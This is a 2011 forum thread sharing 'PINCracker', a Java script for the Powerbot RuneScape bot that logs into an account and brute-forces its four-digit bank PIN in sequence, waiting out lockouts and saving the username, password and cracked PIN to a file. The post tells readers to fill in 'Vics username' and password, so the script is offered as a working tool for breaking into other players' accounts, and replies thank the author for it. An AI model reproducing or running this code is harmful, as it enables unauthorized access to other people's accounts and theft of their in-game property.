It's for powerbot. It works.
Make sure to change USERNAME to Vics username. And Password to Vics password.
Put randoms off.
Spoiler:
Code:import java.util.logging.Level; import org.rsbot.script.Script; import org.rsbot.script.ScriptManifest; import org.rsbot.script.wrappers.RSComponent; import org.rsbot.event.listeners.PaintListener; import java.awt.*; import java.io.*; import org.rsbot.Configuration; @ScriptManifest(authors = "Pork", name = "PINCracker", description = "Cracks bank PIN's.", version = 1.0) public class PINCracker extends Script implements PaintListener { private String username = "USERNAME"; // Change username to your RuneScape username private String password = "PASSWORD"; // Change password to your RuneScape password private String pin = "0000"; // Change this if you don't want the script to start @ 0000 private int state; private int tried = 0; private long banktimeout = 10; //Paint variables public long startTime = 0; public long millis = 0; public long hours = 0; public long minutes = 0; public long seconds = 0; public long last = 0; public int totalTried = 0; public int pinsPerHour = 0; public String currentPin = pin; public long attemptTime = 0; public boolean activateCondition() { return interfaces.get(13).isValid() || interfaces.getComponent(14, 34).isValid(); } public long bankTimeout() { return banktimeout; } public void enterCode(final String aPin) { if (!interfaces.get(13).isValid()) return; final RSComponent[] children = interfaces.get(13).getComponents(); state = 0; for (int i = 1; i < 5; i++) { if (children[i].containsText("?")) { state++; } } state = 4 - state; if (!interfaces.get(759).isValid()) return; final RSComponent[] bankPin = interfaces.get(759).getComponents(); if (state >= 3) sleep(300, 600); for (int i = 0; i < bankPin.length; i++) { if (bankPin[i].containsText(aPin.substring(state, state + 1))) { final RSComponent[] childrenBefore = interfaces.get(13).getComponents(); int stateBefore = 0; int stateAfter = 0; for (int j=1; j<5; j++) { if (childrenBefore[j].containsText("?")) stateBefore++; } bankPin[i].doClick(); sleep(500); while (stateBefore == stateAfter) { final RSComponent[] childrenAfter = interfaces.get(13).getComponents(); for (int k=1; k<5; k++) { if (childrenAfter[k].containsText("?")) stateAfter++; } sleep(500); } break; } } if (state == 3) { tried++; totalTried++; if (tried == 2) sleep(11000); else if(tried >= 3) { sleep(2000); if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled"))) pinIsCracked(); else { sleep(14000); tried = 0; while(game.isLoggedIn()) game.logout(true); } } int temp = Integer.parseInt(pin); temp++; if (temp >= 0 && temp <= 9) pin = String.format("000%d", temp); else if(temp >= 10 && temp <= 99) pin = String.format("00%d", temp); else if(temp >= 100 && temp <= 999) pin = String.format("0%d", temp); else if(temp >= 1000 && temp <= 9999) pin = "" + temp; currentPin = pin; } } public void login() { if(interfaces.get(906).isValid()) { if (interfaces.get(906).containsText("account has not logged out")) mouse.click(382, 322, true); else { interfaces.get(906).getComponent(171).doClick(); while(interfaces.get(906).containsText("Entering game")) sleep(500); } } else if (interfaces.get(596).isValid()) { interfaces.get(596).getComponent(65).doClick(); sleep(1000); keyboard.sendText(username, false); interfaces.get(596).getComponent(71).doClick(); sleep(1000); keyboard.sendText(password, false); interfaces.get(596).getComponent(51).doClick(); while(game.isLoginScreen()) sleep(500); } } public void pinIsCracked() { log("PIN SUCCESSFULLY CRACKED!"); log.log(Level.WARNING, "PIN: {0}", pin); try { BufferedWriter out = new BufferedWriter(new FileWriter(new File(Configuration.Paths.getSettingsDirectory(),"PINCracker.txt"))); out.write("Username: " + username); out.newLine(); out.write("Password: " + password); out.newLine(); out.write("PIN: " + pin); out.newLine(); log("Info wrote to " + Configuration.Paths.getSettingsDirectory()); out.close(); } catch (IOException e) { log.warning(e.getMessage()); } while(game.isLoggedIn()) game.logout(false); stopScript(); } @Override public boolean onStart() { startTime = System.currentTimeMillis(); mouse.setSpeed(1); return true; } @Override public int loop() { if (game.isLoggedIn()) { if (interfaces.get(13).isValid()) { enterCode(pin); sleep(500,1000); } else if(interfaces.get(762).isValid() || (interfaces.canContinue() && interfaces.getContinueComponent().containsText("has been cancelled"))) pinIsCracked(); else bank.open(); } else { login(); } return random(200,500); } public void onRepaint(Graphics g1) { Graphics2D g = (Graphics2D)g1; millis = System.currentTimeMillis() - startTime; hours = millis / (1000 * 60 * 60); millis -= hours * (1000 * 60 * 60); minutes = millis / (1000 * 60); millis -= minutes * (1000 * 60); seconds = millis / 1000; String hoursString = "" + hours; String minutesString = "" + minutes; String secondsString = "" + seconds; if (hours < 10) hoursString = "0" + hours; if (minutes < 10) minutesString = "0" + minutes; if (seconds < 10) secondsString = "0" + seconds; g.setColor(new Color(0, 0, 255, 200)); g.fillRect(5, 5, 190, 65); g.setFont(new Font("Arial", Font.BOLD, 15)); g.setColor(Color.WHITE); g.drawString("Runtime: " + hoursString + ":" + minutesString + ":" + secondsString, 10, 20); g.drawString("# of PIN Attempts: " + totalTried, 10, 35); g.drawString("Current PIN Attempt: " + currentPin, 10, 50); g.drawString("PINs/hour: " + ((totalTried) * 3600000 / (System.currentTimeMillis() - startTime)), 10, 65); } }
Results 1 to 5 of 5
Thread: Bank Pin Cracker
- 26 Jul. 2011 05:45pm #1
Bank Pin Cracker
- 26 Jul. 2011 08:17pm #2
- 28 Jul. 2011 03:22am #3
How do you put it into powerbot ^^;;;?
- 28 Jul. 2011 03:44am #4
- 03 Aug. 2011 04:39pm #5
Bank Pin cracker is a fail idea because after a couple attempts you have to wait forrever. haha Im still running it tho. Thanks for this.